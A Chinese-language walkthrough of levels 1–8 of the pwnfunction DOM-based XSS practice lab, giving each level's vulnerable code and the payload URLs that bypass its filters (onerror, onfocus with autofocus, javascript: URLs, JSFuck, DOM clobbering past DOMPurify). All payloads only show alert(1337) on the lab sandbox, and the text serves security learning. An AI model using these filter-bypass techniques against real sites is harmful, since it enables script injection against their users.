文章目录
- [XSS DOM型靶场复现(1-8关)](#XSS DOM型靶场复现(1-8关))
XSS DOM型靶场复现(1-8关)
登录靶场
https://xss.pwnfunction.com/
1.Ma Spaghet!
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
Let's go!
这句的意思是获取这个url中的get参数,并存储到innerHTML中,也就是h2标签里。如果有就设置h2的值为get传参的值,如果没有就设置h2的值为"Somebody"
那么首先我们先试试往somebody传参试试
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=sesessep
这里存在一个问题,somebody传谁就显示谁,那么尝试传递报错代码给h2试试
html
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<script>alert(1)</script>
可以看到并没有报错弹窗,这么反常的原因是innerHTML因为安全性的问题不能执行插入的<script></script>
标签,所有不能弹出报错弹窗
所有我们不能使用<script></script>
标签,可以替换成<img>
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror="alert(1337)">
成功弹窗,第一关结束。
1.innerHTML中不能使用
<script></script>
标签2.最好把innerHTML替换成有相同效果的innerText,以第一关为例,将innerHTML替换成innerText后,直接将语句当作字符串输出,所有innerText的安全系数要比innerHTML要高
html
<script>
spaghet.innerText = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
2.Jefff
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`) ---其中的动作为给变量ma赋值。
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
Let's go!
这句的意思是获取这个url中的get参数,如果有就设置h2的值为get传参的值,如果没有就设置h2的值为"JEFFF"
一个空值
命令执行代码
一个一次性定时器,表示在1秒后执行定时器中的动作
可以看到这里使用的是安全性更高的innerText而不是innerHTML,所有我们的入手点可以转换到eval上
方法1
尝试闭合双引号,相当于先执行了ma = "Ma name sesessep,之后再执行alert(1337),最后再加一个双引号进行闭合
方法2
在js中有一个特殊的连接符 " - "
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=sesessep%22-alert(1337);-%22
3.Ugandan Kunckles
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
Let's go!
与第二关不同的是过滤了 " <> "
input里面有一个典型的问题,单引号闭合实现onclick,也就是在input里加一个onclick函数,函数里执行要执行的函数
我们同样可以先闭合一下看看
虽然成功弹窗,但是这里需要点击一下输入框,也就是进行了用户交互,不符合要求
那么有没有在input里不需要进行用户交互就可以实现动作的函数呢?
onfocus 函数,也就是获取焦点的意思,获取焦点以后就可以触发它的动作(弹窗)
按下tab后将焦点移到输入框上就可以实现弹窗
那如果在加上 autofocus 函数,自动聚焦,就可以不用用户按tab来触发弹窗,符合没有用户交互的要求了
4.Ricardo Milos
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
Let's go!
这里是通过一次性定时器进行form表单的自动提交
action表单的触发可以使用 javascript (提交触发)
https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)
5.Ah That's Hawt
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
Let's go!
这里过滤了很多东西
这里使用了innerHTML,可不可以使用第一关的方法
=<img src=1 onerror="alert(1337)">
显然是不行的,因为"()"被过滤了
那我们可以使用实体编码 %28 %29 来替换"()"
可以利用location加javascript伪协议,将"符号"、"变量名"、"函数名"统统变成"字符串",在字符串中我们可以使用所有js里可以使用的编码,去构造payload
=<img src="1" onerror=location="javascript:alert(1337)">
=<img src="1" onerror=location="javascript:alert%281337%29">
6.Ligma
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<h2 id="will"></h2>
<script>
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
</script>
Let's go!
过滤了所有字母和数字,和php相似,通过编码来解
我们要使用一个网站:https://jsfuck.com/
我们可以看到它可以将alert(1)编码成没有数字和字母,但我们仍需要进行urlcode进行编码
之后将url编码后的进行传参就可以了
7.Mafia
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<h2 id="will"></h2>
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
Let's go!
这里限制了最长50个字符
同样进行了过滤
方法1
这一关通过构造一个匿名函数
这样不可以,因为alert被过滤了,所有我们可以改成大写
但是这样就识别不了alert函数,所有我们要加上一个小写转换,将大写转换成小写
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
方法2
利用两个函数,parseInt和toString来实现,两个函数都是进制转换,互为相反
先使用parseint函数将alert转化为30进制的数
再使用toString方法还原
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(8680439..toString(30))(1337)
方法3
location.hash.slice(1)
location.hash取的是"#"后面的值,再加一个slice(1)方法截取(从#后第一位开始截取),就可以直接将alert(1337)截取出来
8.Ok, Boomer
要求
-
要弹出1337警告;
-
不能有用户交互;
-
不能使用
-
在Chrome下测试
代码
html
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
Let's go!
这里使用DOMPurify框架进行了过滤(任何标签都会被过滤),这个框架很难去绕过
而下面只有一个setTimeout定时器函数,而函数里面得ok也是个未定义的变量
这里涉及了DOM破坏
DOM破坏说简单一点就是对元素或者属性的覆盖
我们可以通过DOM破坏来使不存在未定义的ok变量出现
=<a id=ok href="javascript:alert(1337)">
利用a标签中的自带的toString方法,当调用a标签的时候,href中的字符串会覆盖a标签。
id等于ok是为了setTimeout可以获取到我们写的a标签
没有反应
是因为JavaScript是DOMPurify框架中的黑名单,被过滤了,所有我们去到框架的白名单替换其中一个就行了
我们这里使用xmpp来代替JavaScript
https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=%22xmpp:alert(1337)%22%3E
成功
world war 3没做完............求放过